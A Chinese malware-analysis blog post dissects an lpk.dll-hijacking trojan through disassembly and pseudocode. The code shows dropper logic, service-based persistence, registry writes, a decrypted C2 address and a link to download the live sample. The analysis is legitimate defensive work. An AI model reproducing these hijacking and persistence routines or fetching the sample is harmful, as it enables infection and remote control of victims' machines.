【PC样本分析】 一次对lpk.dll劫持木马的分析
前言
这是一个比较老的样本了,我是在其他论坛里面找到的这个样本,这里写这个文章是通过从内部来剖析该木马的。如果不对的地方还请各位大神们赐教,不足的地方还希望大家能够给我补充一下。谢谢
dll劫持原理
由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了,而本文中的lpk.dll是大部分程序都会调用到的一个dll
样本信息
MD5:d2b777a93719e548d0baf4c886e124d3
基本行为:写注册表,写服务,开机自启动,复制自身到系统文件中,在每个文件夹下创建dll文件
样本地址:https://download.csdn.net/download/m0_46464192/21132156
行为分析
lpk.dll
No.1加载资源,写入tmp文件
该木马通过加载资源获取到里面的"Distribuijq"这个字符串
创建一个互斥量,唯一标识就是刚刚从资源中获取到的字符串
100012BD /$ 57 push edi
1100012BE |. 68 20320010 push lpk_1.10003220 ; /MutexName = "Distribuijq"
1100012C3 |. 6A 00 push 0x0 ; |InitialOwner = FALSE
1100012C5 |. 6A 00 push 0x0 ; |pSecurity = NULL
1100012C7 |. FF15 50200010 call dword ptr ds:[<&KERNEL32.CreateMute>; \CreateMutexA
继续加载资源,这次读取的是一个PE文件
读取到资源后会在系统临时目录下创建一个前缀名为"hrl"+*的文件名,因为GetTempFileameW()函数中的Unique参数(追加到前缀字串后面的数字)设置的是0x0所以这个函数会用一个随机数字生成文件。随后,它会检查是否存在同名的文件。如果存在,函数会增加这个数字,并继续尝试,直到生成一个独一无二的名字为止。
10001204 |. 50 push eax ; /Buffer = 0012F61010001205 |. 68 04010000 push 0x104 ; |BufSize = 104 (260.)1000120A |. FF15 48200010 call dword ptr ds:[<&KERNEL32.GetTempPat>; \GetTempPathW10001210 |. 8D85 94FDFFFF lea eax,[local.155]10001216 |. 50 push eax ; /TempName = 0012F61010001217 |. 56 push esi ; |Unique = 0x010001218 |. 68 C4210010 push lpk_1.100021C4 ; |Prefix = "hrl"1000121D |. 50 push eax ; |Path = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\hrl26.tmp"1000121E |. FF15 44200010 call dword ptr ds:[<&KERNEL32.GetTempFil>; \GetTempFileNameW10001224 |. 56 push esi ; /hTemplateFile = NULL10001225 |. 56 push esi ; |Attributes = 010001226 |. 6A 02 push 0x2 ; |Mode = CREATE_ALWAYS10001228 |. 56 push esi ; |pSecurity = NULL10001229 |. 33DB xor ebx,ebx ; |1000122B |. 43 inc ebx ; |1000122C |. 53 push ebx ; |ShareMode = FILE_SHARE_READ1000122D |. 68 00000040 push 0x40000000 ; |Access = GENERIC_WRITE10001232 |. 8D85 94FDFFFF lea eax,[local.155] ; |10001238 |. 50 push eax ; |FileName = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\hrl26.tmp"10001239 |. FF15 40200010 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileW
创建完成后将数据写入到tmp文件中
10001246 |. 56 push esi ; /pOverlapped = NULL
10001247 |. 8D45 F0 lea eax,[local.4] ; |
1000124A |. 50 push eax ; |pBytesWritten = 0012F86C
1000124B |. FF75 F8 push [local.2] ; |nBytesToWrite = 9A00 (39424.)
1000124E |. 8975 F0 mov [local.4],esi ; |
10001251 |. FF75 F4 push [local.3] ; |Buffer = lpk_1.10004094
10001254 |. 57 push edi ; |hFile = 00000084 (window)
10001255 |. FF15 3C200010 call dword ptr ds:[<&KERNEL32.WriteFile>>; \WriteFile
No.2创建新进程"hrl*.tmp"
10001281 |. 50 push eax ; /pProcessInfo = 0012F610
110001282 |. 8D45 9C lea eax,[local.25] ; |
110001285 |. 50 push eax ; |pStartupInfo = 0012F610
110001286 |. 56 push esi ; |CurrentDir = NULL
110001287 |. 56 push esi ; |pEnvironment = NULL
110001288 |. 56 push esi ; |CreationFlags = 0
110001289 |. 56 push esi ; |InheritHandles = FALSE
11000128A |. 56 push esi ; |pThreadSecurity = NULL
11000128B |. 56 push esi ; |pProcessSecurity = NULL
11000128C |. 8D85 94FDFFFF lea eax,[local.155] ; |
110001292 |. 50 push eax ; |CommandLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\hrl26.tmp"
110001293 |. 56 push esi ; |ModuleFileName = NULL
110001294 |. C745 9C 44000>mov [local.25],0x44 ; |
11000129B |. 895D C8 mov [local.14],ebx ; |
11000129E |. FF15 30200010 call dword ptr ds:[<&KERNEL32.CreateProc>; \CreateProcessW
hrl*.tmp
下面是hrl*.tmp大致流程,接下来会对下面的内容进行详细分析
if ( Openkey() ){ServiceStartTable.lpServiceName = ServiceName;ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_4028D0;v5 = 0;v6 = 0;StartServiceCtrlDispatcherA(&ServiceStartTable);}else{ServerAndKeyAndCreate(ServiceName, DisplayName, aDistribumgqTra);if ( dword_409344 ){GetTempAndMove();ExitProcess(0);}}
N0.2打开注册表
利用拼接的方式获取注册表名
00402C67 |. 68 A4844000 push hrl1A.004084A4 ; /String2 = "SYSTEM\CurrentControlSet\Services\"
00402C6C |. F3:AB rep stos dword ptr es:[edi] ; |
00402C6E |. 66:AB stos word ptr es:[edi] ; |
00402C70 |. AA stos byte ptr es:[edi] ; |
00402C71 |. 8D4424 0C lea eax,dword ptr ss:[esp+0xC] ; |
00402C75 |. 50 push eax ; |String1 = 0012F780
00402C76 |. FF15 7C604000 call dword ptr ds:[<&KERNEL32.lstrcpyA>] ; \lstrcpyA
00402C7C |. 8D4C24 08 lea ecx,dword ptr ss:[esp+0x8]
00402C80 |. 68 24804000 push hrl1A.00408024 ; /StringToAdd = "Distribuijq"
00402C85 |. 51 push ecx ; |ConcatString = "SYSTEM\CurrentControlSet\Services\"
00402C86 |. FF15 4C604000 call dword ptr ds:[<&KERNEL32.lstrcatA>] ; \lstrcatA
通过调用RegOpenKeyExA函数尝试能否打开注册表(换而言之,该木马是在判断该木马是否已经在主机上写入注册表,从而决定下一步动作)
00402C94 |. 52 push edx
00402C95 |. 68 3F000F00 push 0xF003F
00402C9A |. 6A 00 push 0x0
00402C9C |. 50 push eax
00402C9D |. 68 02000080 push 0x80000002
00402CA2 |. FF15 608D4000 call dword ptr ds:[0x408D60] ; advapi32.RegOpenKeyExA
No.3注册表打开失败
判断自己是不是在系统目录下
00402DB5 |. 51 push ecx ; /maxlen
00402DB6 |. 8D85 D8FCFFFF lea eax,[local.202] ; |
00402DBC |. 50 push eax ; |s2 = "C:\Documents and Settings\Administrator\桌面\hrl1A.tmp"
00402DBD |. 8D8D E0FDFFFF lea ecx,[local.136] ; |
00402DC3 |. 51 push ecx ; |s1 = "C:\WINDOWS\system32"
00402DC4 |. FF15 60624000 call dword ptr ds:[<&MSVCRT.strncmp>] ; \strncmp
如果不在系统目录下,木马会调用GetTickCount函数和rand函数组合使用,获取一个随机的一个6位长度的程序名
(1)重复调用GetTickCount函数和rand函数的组合
v6 = sub_403CC0(0x1Au) + 97;
v7 = sub_403CC0(0x1Au) + 97;
v8 = sub_403CC0(0x1Au) + 97;
v9 = sub_403CC0(0x1Au) + 97;
v10 = sub_403CC0(0x1Au) + 97;
v11 = sub_403CC0(0x1Au);
(2)GetTickCount函数和rand函数的组合实现
v1 = GetTickCount();
return v1 * (rand() + 3) % a1;
(3)获取到随机文件名
复制自身到C:windwos\system32目录下
00402E3E |. 68 D4844000 push hrl1A.004084D4 ; /StringToAdd = "\"
00402E43 |. 8D85 E0FDFFFF lea eax,[local.136] ; |
00402E49 |. 50 push eax ; |ConcatString = "C:\WINDOWS\system32\icdgae.exe"
00402E4A |. 8B1D 4C604000 mov ebx,dword ptr ds:[<&KERNEL32.lstrcat>; |kernel32.lstrcatA
00402E50 |. FFD3 call ebx ; \lstrcatA
00402E52 |. 8D8D 68FCFFFF lea ecx,[local.230]
00402E58 |. 51 push ecx ; /StringToAdd = "C:\Documents and Settings\Administrator\桌面\hrl1A.tmp"
00402E59 |. 8D95 E0FDFFFF lea edx,[local.136] ; |
00402E5F |. 52 push edx ; |ConcatString = 0000000B ???
00402E60 |. FFD3 call ebx ; \lstrcatA
00402E62 |. 56 push esi ; /FailIfExists = FALSE
00402E63 |. 8D85 E0FDFFFF lea eax,[local.136] ; |
00402E69 |. 50 push eax ; |NewFileName = "C:\WINDOWS\system32\icdgae.exe"
00402E6A |. 8D8D D8FCFFFF lea ecx,[local.202] ; |
00402E70 |. 51 push ecx ; |ExistingFileName = "C:\Documents and Settings\Administrator\桌面\hrl1A.tmp"
00402E71 |. FF15 88604000 call dword ptr ds:[<&KERNEL32.CopyFileA>>; \CopyFileA
服务控制管理器的连接
00402EC3 |. 68 3F000F00 push 0xF003F
00402EC8 |. 57 push edi
00402EC9 |. 57 push edi
00402ECA |. FF15 748D4000 call dword ptr ds:[0x408D74] ; advapi32.OpenSCManagerA
连接成功后,创建服务,如果创建服务返回1073(服务已经存在)就打开服务,执行服务
v5 = CreateServiceA(v13, lpServiceName, lpDisplayName, 0xF01FFu, 0x10u, 2u, 0, &Str2, 0, 0, 0, 0, 0);v37 = v5;if ( !v5 && GetLastError() == 1073 ){v14 = OpenServiceA(hSCManager, lpServiceName, 0xF01FFu);v5 = v14;v37 = v14;if ( !v14 )goto LABEL_11;StartServiceA(v14, 0, 0);
服务启动成功后,继续写入注册表,设置注册表值
if ( StartServiceA(v5, 0, 0) ){lstrcpyA(&String1, aSystemCurrentc);v12(&String1, lpServiceName);RegOpenKeyA(HKEY_LOCAL_MACHINE, &String1, &phkResult);v15 = lstrlenA(lpString);RegSetValueExA(phkResult, aDescription, 0, 1u, (const BYTE *)lpString, v15);
执行完上面的,木马会将自己重命名后转移到系统的临时文件中
00402588 |. 52 push edx ; /Buffer = 0000000D
00402589 |. 68 04010000 push 0x104 ; |BufSize = 104 (260.)
0040258E |. FF15 28604000 call dword ptr ds:[<&KERNEL32.GetTempPat>; \GetTempPathA
00402594 |. 8D8424 200100>lea eax,dword ptr ss:[esp+0x120]
0040259B |. 68 88844000 push hrl1A.00408488 ; /StringToAdd = "SOFTWARE.LOG"
004025A0 |. 50 push eax ; |ConcatString = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SOFTWARE.LOG"
004025A1 |. FF15 4C604000 call dword ptr ds:[<&KERNEL32.lstrcatA>] ; \lstrcatA
004025A7 |. 8B35 2C604000 mov esi,dword ptr ds:[<&KERNEL32.MoveFil>; kernel32.MoveFileExA
004025AD |. 8D8C24 200100>lea ecx,dword ptr ss:[esp+0x120]
004025B4 |. 6A 03 push 0x3 ; /Flags = REPLACE_EXISTING|COPY_ALLOWED
004025B6 |. 8D5424 20 lea edx,dword ptr ss:[esp+0x20] ; |
004025BA |. 51 push ecx ; |NewName = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SOFTWARE.LOG"
004025BB |. 52 push edx ; |ExistingName = "C:\Documents and Settings\Administrator\桌面\hrl1A.exe"
004025BC |. FFD6 call esi ; \MoveFileExA
004025BE |. 85C0 test eax,eax
004025C0 |. 74 0E je short hrl1A.004025D0
004025C2 |. 6A 05 push 0x5 ; /Flags = REPLACE_EXISTING|DELAY_UNTIL_REBOOT
004025C4 |. 8D8424 240100>lea eax,dword ptr ss:[esp+0x124] ; |
004025CB |. 6A 00 push 0x0 ; |NewName = NULL
004025CD |. 50 push eax ; |ExistingName = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SOFTWARE.LOG"
004025CE |. FFD6 call esi ; \MoveFileExA
No.4注册表打开成功(此时的木马已经完成了它的基本配置,要开始作恶了)
注册表打开成功后,木马会调用StartServiceCtrlDispatcherA()函数,该函数指出了处理该服务的函数
ServiceStartTable.lpServiceName = ServiceName;
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_4028D0;
v5 = 0;
v6 = 0;
StartServiceCtrlDispatcherA(&ServiceStartTable);
下面主要分析处理服务的函数
(1)注册一个函数来处理服务控制请求,在设置服务状态,最后创建一个互斥量
hServiceStatus = RegisterServiceCtrlHandlerA(ServiceName, HandlerProc);
ServiceStatus.dwServiceType = 32;
ServiceStatus.dwControlsAccepted = 7;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwWaitHint = 2000;
ServiceStatus.dwCheckPoint = 1;
ServiceStatus.dwCurrentState = 2;
SetServiceStatus(hServiceStatus, &ServiceStatus);
ServiceStatus.dwCheckPoint = 0;
Sleep(0x1F4u);
ServiceStatus.dwCurrentState = 4;
SetServiceStatus(hServiceStatus, &ServiceStatus);
CreateMutexA(0, 0, ServiceName);
(2)通过加载资源,然后创建一个hra*.dll文件
v4 = FindResourceA(hModule, lpName, lpType);v5 = v4;if ( v4 ){v6 = SizeofResource(hModule, v4);v7 = LoadResource(hModule, v5);if ( v7 ){if ( v6 ) {v8 = LockResource(v7);if ( v8 ){wsprintfA(&FileName, aHraU_dll, lpName); //aHraU_dll储存的就是文件名v9 = CreateFileA(&FileName, 0x40000000u, 1u, 0, 2u, 0, 0);if ( v9 != (HANDLE)-1 ) {NumberOfBytesWritten = 0;WriteFile(v9, v8, v6, &NumberOfBytesWritten, 0);CloseHandle(v9);}}}}}
(3)首先会查看是否能打开注册表,打开注册表后会检测ImagPath中的值是否指向一个可执行文件。然后获取这个文件的属性
00402770 |. 50 push eax ; /FileName = "C:\WINDOWS\system32\rqfhou.exe"
00402771 |. FF15 78604000 call dword ptr ds:[<&KERNEL32.GetFileAtt>; \GetFileAttributesA
(4)属性获取成功后会打开该文件
00402788 |> \6A 00 push 0x0 ; /hTemplateFile = NULL
0040278A |. 6A 00 push 0x0 ; |Attributes = 0
0040278C |. 6A 03 push 0x3 ; |Mode = OPEN_EXISTING
0040278E |. 6A 00 push 0x0 ; |pSecurity = NULL
00402790 |. 6A 01 push 0x1 ; |ShareMode = FILE_SHARE_READ
00402792 |. 8D4C24 2C lea ecx,dword ptr ss:[esp+0x2C] ; |
00402796 |. 68 00000080 push 0x80000000 ; |Access = GENERIC_READ
0040279B |. 51 push ecx ; |FileName = "C:\WINDOWS\system32\rqfhou.exe"
0040279C |. FF15 34604000 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileA
(5)获取文件大小,然后对资源进行更新(删除掉刚刚生成的dll文件)
004027B5 |> \6A 00 push 0x0 ; /pFileSizeHigh = NULL
004027B7 |. 56 push esi ; |hFile = 0000007C (window)
004027B8 |. FF15 74604000 call dword ptr ds:[<&KERNEL32.GetFileSiz>; \GetFileSize
0040283B |. 6A 00 push 0x0 ; /DeleteExistingResources = FALSE
0040283D |. 51 push ecx ; |FileName = "hra33.dll"
0040283E |. FF15 04604000 call dword ptr ds:[<&KERNEL32.BeginUpdat>; \BeginUpdateResourceA
00402861 |. 55 push ebp ; kernel32.UpdateResourceA
00402862 |. 8B2D 08604000 mov ebp,dword ptr ds:[<&KERNEL32.UpdateR>; kernel32.UpdateResourceA
00402868 |. 52 push edx ; /DataSize = 9A00 (39424.)
00402869 |. 53 push ebx ; |pData = 00159760
0040286A |. 6A 00 push 0x0 ; |LanguageId = 0x0 (LANG_NEUTRAL)
0040286C |. 6A 66 push 0x66 ; |ResourceName = 0x66
0040286E |. 6A 0A push 0xA ; |ResourceType = RT_RCDATA
00402870 |. 56 push esi ; |hFile = 008F003C
00402871 |. FFD5 call ebp ; \UpdateResourceA
00402896 |> \6A 00 push 0x0 ; /DiscardUpdates = FALSE
00402898 |. 56 push esi ; |hUpdateFile = 008F003C
00402899 |. FF15 0C604000 call dword ptr ds:[<&KERNEL32.EndUpdateR>; \EndUpdateResourceA
(6)前面虽然已经对lra33.dll进行了删除,为了保证是被真的删除掉,函数还通过调用LoadLibrary函数来判断是否还存在这个dll,如果存在就删除
wsprintfA(&LibFileName, aHraU_dll, 32);v0 = LoadLibraryA(&LibFileName);v1 = v0;if ( v0 ){dword_40933C = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(v0, aStartwork);dword_409340 = (int (__fastcall *)(_DWORD, _DWORD))GetProcAddress(v1, aStopwork);if ( dword_409340 && dword_40933C )return 1;FreeLibrary(v1);DeleteFileA(&LibFileName);}
(7)通过解密获得一个域名
004029C2 . 51 push ecx
004029C3 . 68 C4814000 push rqfhou.004081C4 ; ASCII "tutwl.3322.org:8899"
004029C8 . E8 E3FAFFFF call rqfhou.004024B0
(7)剩下一个就是一个死循环,在等待发送过来的命令了
while ( 1 ){hObject = Connect_boot((LPTHREAD_START_ROUTINE)AboutInter, 0);WaitForSingleObject(hObject, 0xFFFFFFFF);CloseHandle(hObject);closesocket(s);dword_408614 = 1;Sleep(0x12Cu);}
详细的信息进入AboutInter就可以看到里面的内容,这里就不再把里面的内容贴出来了,简单的介绍一下里面的内容就是通过创建UDP套接字里进行通信,获取用户系统版本,并发送至服务端(因为服务端已经崩溃了,所以这里就没有抓获到数据)等等
【PC样本分析】 一次对lpk.dll劫持木马的分析相关推荐
- 后渗透篇:劫持技术(lpk.dll劫持游戏注入【Win7 实例】)
当你的才华 还撑不起你的野心时 那你就应该静下心来学习 lpk.dll劫持游戏注入 由于 输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索 DLL文件.首先会尝试从当前程序所在的目 ...
- 一个淘宝客劫持木马的分析
一个淘宝客劫持木马的分析 近期,我们收到很多淘宝卖家的投诉,报告说他们的淘宝联盟付费推广被莫名奇妙地扣除了一部分,而这个商品是没有经过推广的.360病毒响应中心的工程师收 到投诉后,经过一系列的分析和 ...
- Win7下实现 lpk.dll劫持游戏注入
由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件.首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个 ...
- DLL劫持注入技术分析、过各种游戏保护!让你做你爱做的事情!
劫持DLL就是要制作一个"假"的DLL,但是功能又不能失真. 可执行文件在调用某函数时,要加载该函数所在的DLL.如果我们伪造一个DLL,让它包含所有被劫持DLL的导出函数.可执行 ...
- 3601-lpk.dll劫持病毒分析
文章目录 3601-lpk.dll劫持病毒分析 1.样本概况 1.1 样本信息 1.2 测试环境及工具 1.3 分析目标 1.4 样本行为概述 2.具体行为分析 2.1 主要行为 2.2 提取恶意代码 ...
- 112.网络安全渗透测试—[权限提升篇10]—[Windows 2003 LPK.DDL劫持提权msf本地提权]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.LPK.DDL劫持提权 1.sethc.exe是什么: 2.lpk.dll出现的背景: 3.Windows查 ...
- 3601lpk.dll劫持病毒分析
1.样本概况 1.1 样本信息 病毒名称:3601-lpk劫持病毒 所属家族:Trojan-DDoS.Win32.macri.atk MD5值:B5752252B34A8AF470DB1830CC48 ...
- lpk.dll病毒的现象和手工处理
lpk.dll病毒相信大家并不陌生,此类病毒已经流行有一段时间了,对应的专杀工具也可以从网上搜索下载到,这足以表明该病毒的广泛性及危险性.本文对该病毒进行了行为分析,并向您呈现了手动处理的全部过程. ...
- 瑞星专家:lpk.dll病毒的现象和手工处理
http://www.sina.com.cn 2011年10月22日 14:15 中国经济网 lpk.dll病毒相信大家并不陌生,此类病毒已经流行有一段时间了,对应的专杀工具也可以从网上搜索下载到 ...
最新文章
- UISegmentedControl 分段器加载不同的viewcontroller
- 一致性哈希算法介绍,及java实现
- windows c语言判断是不是nan,C++ 判断浮点数是否为Nan值
- 鼠标同步桌面_[问题处理]XenCenter控制台操作通过MCS发布的虚拟机鼠标不同步
- VS2012 编译 boost1.53/ boost1.49
- 前端node 和vue开发之环境搭建
- 让不支持h5新标签的浏览器支持新标签
- Android-Activity中的onNewIntent()方法调用简析
- 华硕:警惕 Cyclops Blink 恶意软件正在攻击路由器
- django批量修改table_python中Django视图(view)的详解(附示例)
- win7 java下载_Windows7系统下JAVA运行环境下载、安装和设置(第二次更新:2012年03月14日)...
- Android 终端使用 JavaCV
- maven配置smartupload_SmartUpload文件上传组件的使用教程
- asp.net mvc excel合并单元格_如何用Excel制作一份A4纸可直接打印的拼音田字格模版?...
- 计算机专业拼音怎样写,单板计算机拼音
- 记一次Windows 无法加载这个硬件的设备驱动程序。驱动程序可能已损坏或不见了。 (代码 39)
- C语言程序员个人简历范文,程序员求职放大招!牛人用C语言写简历
- 业务层战略制定的思路和方法_如何确保公司年度战略目标落地—打造战略执行的方法论...
- mac电脑免费支持NTFS格式 mounty
- WIN10系统进入BIOS的方法(无需开机时按快捷键)
热门文章
- Archlinux下的优秀软件推荐
- android简单备忘录实现,android备忘录实现
- 【通信原理课程设计】基于MATLAB/Simulink的2ASK数字带通传输系统建模与仿真
- Lwip协议详解(基于Lwip 2.1.0)UDP协议(未完待续)
- 快速安装oh-my-zsh的插件zsh-syntax-highlighting 语法高亮
- 计算机教室设备安全管理制度,计算机教室和多媒体教室安全管理制度
- 判断两个时间段范围是否有交集
- MySQL 服务基础
- python办公自动化用openpyxlpandasnumpy_openpyxl3.0.3 中文手册--Pandas 和 NumPy
- Memcached/Redis可视化客户端TreeNMS使用